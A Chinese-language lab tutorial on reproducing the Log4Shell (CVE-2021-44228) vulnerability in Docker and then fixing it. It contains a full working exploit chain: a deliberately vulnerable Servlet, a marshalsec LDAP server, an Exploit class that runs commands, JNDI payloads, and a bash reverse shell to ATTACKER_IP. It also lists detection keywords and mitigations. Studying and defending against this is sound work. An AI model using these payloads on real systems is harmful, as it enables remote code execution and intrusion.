从零复现Log4j2漏洞:原理、环境搭建与实战利用
1. 项目概述:为什么我们要亲手复现Log4j2漏洞?
如果你是一名安全从业者、开发人员,或者是对网络安全感兴趣的学习者,那么“Log4j2漏洞复现”这个标题对你来说一定不陌生。它几乎成了近年来安全圈的一个标志性事件,一个教科书级别的案例。但你可能会有疑问:网上分析文章那么多,为什么我还要自己动手去复现一遍?答案很简单:纸上得来终觉浅,绝知此事要躬行。看一百遍漏洞分析报告,也不如自己亲手搭建环境、触发漏洞、看到那行命令被执行来得震撼和深刻。
Log4j2漏洞,更准确地说是CVE-2021-44228,因其危害巨大、影响范围极广,被形象地称为“Log4Shell”。它的核心原理是Log4j2库在处理日志消息时,会对形如${jndi:ldap://attacker.com/a}的字符串进行递归解析,并最终通过JNDI(Java命名和目录接口)从远程服务器加载并执行恶意代码。这意味着,攻击者只需要让应用记录下一个精心构造的字符串(比如通过HTTP请求头、表单参数、甚至用户名),就能在服务器上获得一个远程命令执行(RCE)的入口,其危害性不言而喻。
复现这个漏洞,绝不仅仅是为了“炫技”。它的价值在于:第一,深度理解漏洞机理。你能亲眼看到漏洞触发的完整链条,从日志输入到JNDI查找,再到远程类加载,每一步都清晰可见。第二,建立真实的风险感知。在受控的实验室环境里成功复现,会让你对生产环境中此类漏洞的潜在威胁有切肤之痛,从而在代码审查和架构设计时更加警惕。第三,掌握防御与排查技能。知道了攻击是如何发生的,你才能更有效地知道如何防御,比如如何升级、如何配置、如何在日志中搜索攻击痕迹。
本教程的目标,就是带你从零开始,搭建一个最简单的、存在漏洞的Java Web应用,并一步步演示如何利用这个漏洞。我们会尽量剥离复杂的网络和中间件环境,聚焦于漏洞本身的核心流程,确保即使你是新手,也能跟着操作并看到结果。整个过程我们会在一个隔离的虚拟机或Docker环境中进行,确保安全。
2. 环境准备与漏洞应用搭建
复现任何漏洞,第一步永远是搭建一个安全的、隔离的测试环境。我们绝对不建议在任何生产环境、甚至是你日常使用的开发机上直接操作。最稳妥的方式是使用虚拟机(如VirtualBox + Ubuntu)或者Docker。这里我以Docker为例,因为它更轻量,环境构建和销毁也更方便。
2.1 基础环境与工具清单
我们需要准备以下工具和服务,它们将分别扮演漏洞应用、攻击者服务器和靶机等角色:
- Docker & Docker Compose:用于快速构建和运行我们的漏洞应用容器。确保你的宿主机已经安装。
- Java 8 或 11:漏洞应用运行环境。我们会在Docker容器内安装,但宿主机最好也有,用于编译。
- Maven:Java项目构建工具,用于打包我们的漏洞演示应用。
- 一个存在漏洞的Log4j2版本:核心中的核心。我们将使用
log4j-core版本2.14.1(该版本受漏洞影响)。实际上,2.0-beta9到2.14.1之间的版本均受影响。 - 攻击端工具:
- 一个LDAP服务器:用于在攻击机上启动一个恶意的LDAP服务,将JNDI请求重定向到我们的HTTP服务。我们将使用
marshalsec这个工具来快速搭建。 - 一个HTTP服务器:用于托管恶意Java类文件(.class)。攻击链中,LDAP服务会返回一个Reference,指向这个HTTP服务器上的类文件。我们可以用Python的
http.server模块快速启动。 - Netcat (nc):一个网络工具,用于监听反弹Shell的连接,证明我们成功执行了命令。
- 一个LDAP服务器:用于在攻击机上启动一个恶意的LDAP服务,将JNDI请求重定向到我们的HTTP服务。我们将使用
2.2 构建漏洞演示应用
我们不直接使用复杂的Spring Boot或其它框架,而是创建一个最简单的Java Web应用(基于Servlet),以确保逻辑清晰。
首先,创建一个项目目录,例如log4shell-demo,并建立标准的Maven项目结构。
pom.xml 关键配置:这里我们故意引入有漏洞的Log4j2版本,并添加Servlet支持。
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.demo</groupId> <artifactId>log4shell-demo</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <!-- 关键:使用存在漏洞的Log4j2版本 --> <log4j2.version>2.14.1</log4j2.version> </properties> <dependencies> <!-- Log4j2 核心 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>${log4j2.version}</version> </dependency> <!-- Log4j2 API --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>${log4j2.version}</version> </dependency> <!-- Servlet API --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> </dependencies> <build> <finalName>log4shell</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>3.3.2</version> </plugin> </plugins> </build> </project>漏洞Servlet代码 (src/main/java/com/demo/Log4jServlet.java):这个Servlet接收一个名为input的参数,并用Log4j2记录它。这就是我们的漏洞触发点。
package com.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; @WebServlet("/log") public class Log4jServlet extends HttpServlet { // 关键:创建Logger private static final Logger logger = LogManager.getLogger(Log4jServlet.class); @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String userInput = req.getParameter("input"); resp.setContentType("text/html"); PrintWriter out = resp.getWriter(); if (userInput != null && !userInput.isEmpty()) { // 漏洞触发点:使用logger记录用户可控的输入 logger.error("Received input: {}", userInput); out.println("<h1>Logged: " + userInput + "</h1>"); } else { out.println("<h1>Please provide an 'input' parameter.</h1>"); } } }Log4j2 配置文件 (src/main/resources/log4j2.xml):一个简单的控制台输出配置,确保日志能正常工作。
<?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>web.xml (src/main/webapp/WEB-INF/web.xml):传统部署方式需要,如果使用嵌入式容器可能不需要,但为了通用性我们加上。
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <display-name>Log4Shell Demo</display-name> </web-app>使用mvn clean package命令进行打包,成功后会在target目录下生成log4shell.war文件。
2.3 使用Docker运行漏洞应用
我们使用Tomcat作为Servlet容器来运行我们的WAR包。编写一个简单的Dockerfile和docker-compose.yml来管理。
Dockerfile:
FROM tomcat:9-jre8-openjdk-slim # 删除Tomcat自带的默认应用 RUN rm -rf /usr/local/tomcat/webapps/* # 复制我们打包好的漏洞应用 COPY target/log4shell.war /usr/local/tomcat/webapps/ROOT.war # 暴露端口 EXPOSE 8080docker-compose.yml:
version: '3.8' services: vulnerable-app: build: . container_name: log4shell-vuln-app ports: - "8080:8080" # 为了演示,我们让容器使用host网络,简化攻击时的网络访问(仅限实验环境) network_mode: "host"在项目根目录下执行docker-compose up --build,等待构建并启动。访问http://localhost:8080/log?input=test,如果看到页面显示 “Logged: test”,并且控制台有相应的日志输出,说明漏洞应用已经成功运行。
注意:这里为了极致简化复现流程,我们使用了
network_mode: “host”,这意味着容器与宿主机共享网络命名空间。在实际的渗透测试或更真实的复现中,你需要处理容器间或跨主机的网络通信,可能需要配置自定义Docker网络并正确设置IP地址。这是第一个需要根据实际情况调整的地方。
3. 攻击链搭建与恶意代码准备
现在,我们的“靶子”已经立起来了。接下来,我们要扮演攻击者,搭建两个关键服务:恶意LDAP服务器和HTTP服务器,并准备一个恶意的Java类。
3.1 编译并启动恶意LDAP服务器
我们使用开源的marshalsec工具来快速启动一个恶意的LDAP服务器。它能够响应JNDI的LDAP查找请求,并返回一个指向我们HTTP服务器上恶意类的Reference。
首先,从GitHub克隆marshalsec并编译:
git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后,jar包位于target/marshalsec-0.0.3-SNAPSHOT-all.jar。
启动LDAP服务器的命令如下:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR_ATTACKER_IP:8000/#Exploit"解释一下这个命令:
marshalsec.jndi.LDAPRefServer是启动LDAP服务的主类。“http://YOUR_ATTACKER_IP:8000/#Exploit”是参数。它告诉LDAP服务器,当有客户端查询时,就返回一个Reference对象,该对象的codebase指向这个URL,并且类名为Exploit。这里的YOUR_ATTACKER_IP必须替换为运行HTTP服务器的机器IP(在host网络模式下,就是本机127.0.0.1)。
实操心得:
marshalsec默认监听在1389端口。确保你的防火墙没有阻止这个端口。另外,#后面的类名(这里是Exploit)必须与我们后面编译的恶意类名完全一致,大小写敏感。
3.2 创建并编译恶意Java类
这个类将是最终在靶机(我们的漏洞应用服务器)上被加载并执行的代码。为了证明漏洞利用成功,我们让它执行一个简单的命令,比如打开计算器(Linux下用gnome-calculator, Windows下用calc.exe),或者更常见的是反弹一个Shell。
这里我们写一个更通用的、执行任意命令的类。创建一个文件Exploit.java:
public class Exploit { static { try { // 根据不同操作系统选择命令 String os = System.getProperty("os.name").toLowerCase(); String cmd; if (os.contains("win")) { // Windows: 打开计算器 cmd = "calc.exe"; } else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) { // Linux/Unix/Mac: 尝试打开计算器或执行echo cmd = "gnome-calculator || xcalc || echo 'Pwned!'"; } else { cmd = "echo 'Unknown OS'"; } // 执行命令 Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }为什么类里是一个static代码块?因为当这个类被JVM加载时,static代码块会自动执行。我们不需要创建类的实例,只要类被加载,攻击代码就运行了,这对于漏洞利用来说非常方便。
使用Java 8编译这个类:
javac Exploit.java编译后会生成Exploit.class文件。这个文件就是我们等下要托管在HTTP服务器上的“武器”。
3.3 启动HTTP服务器
我们需要一个Web服务器,让靶机在收到LDAP服务器返回的Reference后,能从这个服务器下载Exploit.class文件。
在存放Exploit.class的目录下,使用Python快速启动一个HTTP服务器:
python3 -m http.server 8000这个命令会在8000端口启动一个简单的HTTP文件服务器。确保它和LDAP服务器在同一台机器上,并且IP和端口与启动LDAP服务器时指定的URL (http://YOUR_ATTACKER_IP:8000/) 一致。
至此,攻击端的准备工作全部完成。我们有了:
- LDAP诱饵服务器:在1389端口等待,一旦有查询,就告诉对方“去
http://ATTACKER_IP:8000/找Exploit这个类”。 - HTTP武器库服务器:在8000端口提供
Exploit.class文件下载。 - 恶意类:一旦被加载,就执行打开计算器的命令。
4. 漏洞触发与利用全过程演示
万事俱备,只欠东风。现在,让我们触发漏洞,把整个攻击链串起来。
4.1 构造攻击载荷
我们的漏洞触发点在Servlet的logger.error(“Received input: {}”, userInput);这一行。Log4j2在记录日志时,会对消息中的${}进行解析。因此,我们需要向input参数传入一个特殊的字符串。
攻击载荷的通用格式是:${jndi:ldap://ATTACKER_IP:1389/Exploit}
将其进行URL编码(因为要通过HTTP GET参数传递),得到:%24%7Bjndi%3Aldap%3A%2F%2FATTACKER_IP%3A1389%2FExploit%7D
在我们的实验环境中(使用host网络,所有服务都在本机),ATTACKER_IP就是127.0.0.1。所以最终的攻击URL是:http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2FExploit%7D
4.2 发起攻击并观察现象
确保你的三个服务都在运行:
- 漏洞应用(Tomcat容器):
docker-compose up状态,端口8080。 - 恶意LDAP服务器:运行着
marshalsec命令,端口1389。 - HTTP文件服务器:运行着
python3 -m http.server,端口8000。
- 漏洞应用(Tomcat容器):
在浏览器中,直接访问上面构造好的攻击URL。或者使用curl命令:
curl “http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2FExploit%7D”观察各个终端的变化:
- 浏览器/curl:会返回 “Logged: ${jndi:ldap://127.0.0.1:1389/Exploit}”。这很正常,因为Servlet只是原样回显了输入。
- 漏洞应用容器日志(关键):打开运行
docker-compose up的终端。你会看到类似以下的日志输出:
这证明日志被记录了。但更重要的是,如果漏洞触发,你可能会看到一些额外的网络连接或类加载的日志(取决于Tomcat/JVM配置),最直观的是——... ERROR com.demo.Log4jServlet - Received input: ${jndi:ldap://127.0.0.1:1389/Exploit} - 你的宿主机桌面:如果漏洞利用成功,你应该会看到计算器程序被自动打开了!这就是
Exploit.class中static代码块执行的结果。
观察攻击服务器终端:
- LDAP服务器终端:你会看到一条连接记录,表明来自漏洞应用(可能是容器IP或宿主机IP)发起了LDAP查询。
- HTTP服务器终端:你会看到一条GET请求记录,请求
/Exploit.class,状态码是200。这证明漏洞应用确实从你的HTTP服务器下载了恶意类文件。
如果一切顺利,计算器弹窗的那一刻,就标志着Log4j2漏洞复现成功!你完成了一次完整的、从Web输入到远程代码执行的攻击链。
4.3 深入理解:攻击链是如何一步步执行的?
让我们拆解一下这短短几秒内发生的事情:
- 日志记录:你的请求携带恶意Payload到达漏洞应用。Servlet获取到
input参数值为${jndi:ldap://127.0.0.1:1389/Exploit},并将其传递给logger.error()。 - Lookup解析:Log4j2(2.14.1及之前版本)在记录日志时,默认会对消息中的
${}进行“查找”(Lookup)解析。它识别出jndi:这个模式。 - JNDI触发:Log4j2调用JNDI服务,去查找
ldap://127.0.0.1:1389/Exploit。这相当于向127.0.0.1:1389这个LDAP服务器发起一个查询,查询条目是Exploit。 - LDAP响应:我们预先启动的恶意LDAP服务器(marshalsec)收到了查询请求。它并不真的有一个叫
Exploit的LDAP条目,而是返回了一个JNDIReference对象。这个Reference对象告诉客户端:“你要找的Exploit类不在我这儿,它的代码库(codebase)在http://127.0.0.1:8000/,类名是Exploit,你去那里加载吧。” - 远程类加载:漏洞应用所在的JVM(在Tomcat容器内)收到这个Reference后,如果其安全配置允许(默认情况下,高版本Java有限制,但Java 8u191以下版本或某些配置下允许),它会根据Reference中的地址,去
http://127.0.0.1:8000/请求Exploit.class文件。 - 代码执行:HTTP服务器将
Exploit.class文件返回给JVM。JVM加载这个类。在加载过程中,类静态代码块static {}自动执行,里面的Runtime.getRuntime().exec(“calc.exe”)被调用,计算器程序便在承载漏洞应用的服务器环境(这里是Docker容器,但通过host网络,其效果等同于宿主机)中启动。
重要提示:从Java 8u191、7u201、6u211及更高版本开始,Oracle默认禁用了JNDI从远程codebase加载工厂类的能力(即
com.sun.jndi.ldap.object.trustURLCodebase默认为false)。这就是为什么我们复现环境通常要使用Java 8u181 或更早的版本。如果你使用高版本Java,可能无法直接加载远程类,攻击链会在第5步中断。这时攻击者可能会转向利用本地ClassPath中已有的类进行利用(即“绕过”),但这增加了复杂度。本教程为了最直观地展示原理,使用了允许远程加载的旧版本Java环境。
5. 漏洞修复方案与防御实践
成功复现漏洞让我们感受到了它的威力,但更重要的是,我们要知道如何防御它。修复Log4j2漏洞是一个多层次的工作。
5.1 根本解决:升级Log4j2版本
这是最直接、最根本的解决方案。Apache Log4j2团队在漏洞爆发后迅速发布了安全版本。
- 对于 Log4j 2.x 版本:
- 升级到2.17.1(Java 8+),2.12.4(Java 7), 或2.3.2(Java 6)。
- 这些版本默认禁用了JNDI查找功能,并修复了相关的安全漏洞(如CVE-2021-44228, CVE-2021-45046, CVE-2021-45105等)。
- 操作步骤:
- 检查你项目中的
pom.xml(Maven) 或build.gradle(Gradle) 文件,找到Log4j2的依赖声明。 - 将版本号修改为对应的安全版本。例如在Maven中:
<properties> <log4j2.version>2.17.1</log4j2.version> </properties> - 重新编译和部署你的应用。
- 务必进行全面的回归测试,因为大版本升级有时会引入不兼容的变更。
- 检查你项目中的
5.2 临时缓解措施(如果无法立即升级)
在紧急情况下,或者因为某些原因无法立即升级,可以采用以下缓解措施:
修改JVM参数(最有效临时方案): 在启动应用的JVM参数中添加:
-Dlog4j2.formatMsgNoLookups=true这个参数会让Log4j2在格式化日志消息时不进行Lookup解析,从而从根本上阻断
${}的解析。从Log4j2 2.10版本开始支持此参数。移除易受攻击的类(暴力但有效): 找到Log4j2核心jar包(
log4j-core-*.jar),删除其中与JNDI查找相关的类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class此方法会破坏Log4j2的JNDI查找功能,但可能影响依赖此功能的特定应用。
环境变量设置: 设置系统环境变量
LOG4J_FORMAT_MSG_NO_LOOKUPS为true,效果与JVM参数类似。export LOG4J_FORMAT_MSG_NO_LOOKUPS=true使用安全产品进行防护: 在应用前端部署WAF(Web应用防火墙),配置规则拦截包含
${jndi:、${ldap:、${rmi:等模式的请求。但这只是一种网络层的防护,无法覆盖所有攻击入口(如从数据库、消息队列中读取的恶意数据)。
5.3 长期防御与最佳实践
修复一个CVE只是开始,建立安全的开发运维习惯才能避免下一个。
依赖项安全管理:
- 使用依赖扫描工具:将OWASP Dependency-Check、Snyk、GitHub Dependabot等工具集成到CI/CD流水线中,自动扫描项目依赖库的已知漏洞。
- 最小化依赖:定期审查
pom.xml或build.gradle,移除不必要的依赖。很多项目是通过传递依赖引入Log4j2的,要仔细梳理。 - 使用BOM(物料清单):对于大型项目或微服务群,使用Spring Boot或Maven的Dependency Management BOM来统一管理第三方库的版本,确保所有服务使用的都是经过审核的安全版本。
安全编码规范:
- 永远不要信任用户输入:这是安全的第一原则。所有来自外部的数据(HTTP请求、文件、数据库、消息队列)在记录日志前,都应进行严格的过滤或转义。可以编写一个工具方法,对日志内容中的
${和}进行转义或直接删除。 - 使用参数化日志:就像我们示例中的
logger.error(“Received input: {}”, userInput),这本身就是一种好的做法,但Log4j2漏洞表明,仅此还不够,消息本身在格式化前仍可能被解析。
- 永远不要信任用户输入:这是安全的第一原则。所有来自外部的数据(HTTP请求、文件、数据库、消息队列)在记录日志前,都应进行严格的过滤或转义。可以编写一个工具方法,对日志内容中的
运行时环境加固:
- 使用最新的JVM:保持Java运行环境更新,高版本Java默认限制了JNDI的远程加载能力。
- 遵循最小权限原则:以非root、非管理员权限运行Java应用,即使被攻破,攻击者获得的权限也有限。
- 容器安全:如果使用Docker/K8s,使用非root用户运行容器,限制容器的能力(如
--cap-drop ALL),并设置只读根文件系统(readOnlyRootFilesystem: true)等安全上下文。
监控与应急响应:
- 监控可疑日志:在ELK或Splunk等日志平台中,设置告警规则,搜索日志中是否出现了
jndi:、ldap:、rmi:等关键词。 - 制定应急预案:提前准备好漏洞应急检查清单,包括如何快速定位受影响服务、如何验证修复是否生效等。
- 监控可疑日志:在ELK或Splunk等日志平台中,设置告警规则,搜索日志中是否出现了
6. 复现过程中的常见问题与排查技巧
即使按照教程一步步操作,你也可能会遇到一些问题。这里我总结了一些常见的坑和排查思路。
6.1 漏洞未触发,计算器没有弹出
这是最常见的情况。请按照以下步骤排查:
检查Java版本:这是最大的可能性。在漏洞应用容器内执行
java -version。必须使用 Java 8u191、7u201、6u211 之前的版本,或者手动设置了com.sun.jndi.ldap.object.trustURLCodebase=true的高版本Java。建议使用openjdk:8u181-jre这类明确版本的镜像作为基础镜像。- 解决方案:修改Dockerfile,使用旧版本基础镜像,例如:
FROM openjdk:8u181-jre-slim
- 解决方案:修改Dockerfile,使用旧版本基础镜像,例如:
检查网络连通性:确保漏洞应用容器能访问到攻击机(LDAP和HTTP服务器)。
- 在host网络模式下,用
127.0.0.1通常没问题。 - 如果在桥接网络或不同主机,需要在漏洞应用容器内
ping或curl攻击机的IP,确保端口(1389, 8000)是通的。可能需要调整Docker网络设置或防火墙规则。
- 在host网络模式下,用
检查服务是否正常运行:
- LDAP服务器:使用
netstat -tlnp | grep 1389查看1389端口是否在监听。检查marshalsec启动命令的URL参数是否正确,特别是IP和端口。 - HTTP服务器:直接在浏览器访问
http://ATTACKER_IP:8000/Exploit.class,应该能下载到编译好的类文件。如果下载的是文本而不是二进制文件,可能是Python服务器MIME类型问题,可以尝试用python3 -m http.server 8000 –bind 0.0.0.0。
- LDAP服务器:使用
查看应用日志:这是最重要的调试信息源。确保Tomcat容器的日志输出级别足够详细。可以在启动Tomcat时添加JVM参数
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true并查看是否有关于JNDI或类加载的异常信息。有时安全管理器(SecurityManager)也会阻止加载。尝试简化Payload:先使用一个不会执行命令,但能证明DNS查询发生的Payload来测试网络和解析是否正常。例如:
${jndi:dns://ATTACKER_IP/somepath}。然后在攻击机用tcpdump或wireshark监听53端口,看是否有DNS查询过来。如果能收到DNS查询,说明Lookup解析和JNDI触发成功了,问题可能出在后续的LDAP/HTTP阶段或Java版本限制上。
6.2 攻击成功但命令执行不符合预期
- 命令执行了但没看到效果:我们的
Exploit.class是在Tomcat容器内执行的。如果容器内没有图形界面(通常都没有),calc.exe或gnome-calculator命令会执行失败。你可以将恶意类中的命令改为在容器内可执行的命令,例如touch /tmp/pwned创建一个文件,或者curl http://ATTACKER_IP:9999/向攻击机发起一个网络请求(同时在攻击机用nc -lvp 9999监听),以此来证明命令执行成功。 - 权限问题:容器可能以低权限用户运行,没有权限执行某些命令(如安装软件)。确保你的测试命令是容器内允许的。
6.3 关于高版本Java的复现说明
如果你使用的Java版本较高(>8u191),默认情况下远程加载类会被阻止,你会看到类似javax.naming.CommunicationException的异常,或者直接忽略。在这种情况下,复现就需要更复杂的技巧,例如:
- 利用本地ClassPath中的类:寻找目标应用ClassPath中已有的、可利用的类(如
org.apache.naming.factory.BeanFactory结合EL表达式)。这需要更深入的研究和针对特定环境的构造。 - 降低安全限制(仅限实验):在启动漏洞应用时,添加JVM参数
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true。注意:这绝对不适用于生产环境!仅用于在受控的实验环境中理解漏洞原理。
6.4 工具与命令速查表
为了方便排查,这里将关键工具和命令汇总:
| 角色 | 工具/命令 | 用途 | 关键检查点 |
|---|---|---|---|
| 靶机应用 | docker-compose up | 启动漏洞应用 | 检查8080端口是否监听,访问/log是否正常。 |
| 靶机应用 | docker exec -it <container_id> /bin/bash | 进入容器内部 | 检查Java版本 (java -version),检查网络 (ping ATTACKER_IP)。 |
| LDAP服务器 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer “…” | 启动恶意LDAP | 检查1389端口监听,观察是否有连接日志。 |
| HTTP服务器 | python3 -m http.server 8000 | 启动文件服务器 | 检查8000端口监听,浏览器访问http://IP:8000/Exploit.class能否下载。 |
| 网络诊断 | netstat -tlnp | 查看端口监听 | 确认1389, 8000, 8080端口是否处于LISTEN状态。 |
| 网络诊断 | tcpdump -i any port 53 | 监听DNS流量 | 用于测试${jndi:dns://…}这类Payload是否生效。 |
| 攻击验证 | nc -lvp 9999 | 监听反弹Shell | 将恶意类中的命令改为bash -i >& /dev/tcp/ATTACKER_IP/9999 0>&1(Linux) 或PowerShell反弹命令,用nc接收连接。 |
复现漏洞的过程,本质上是一个系统性的调试过程。遇到问题时,冷静地按照“网络->服务->配置->代码”的顺序逐一排查,查看每一环的日志输出,大部分问题都能迎刃而解。这个过程本身,就是一次极佳的安全实战学习。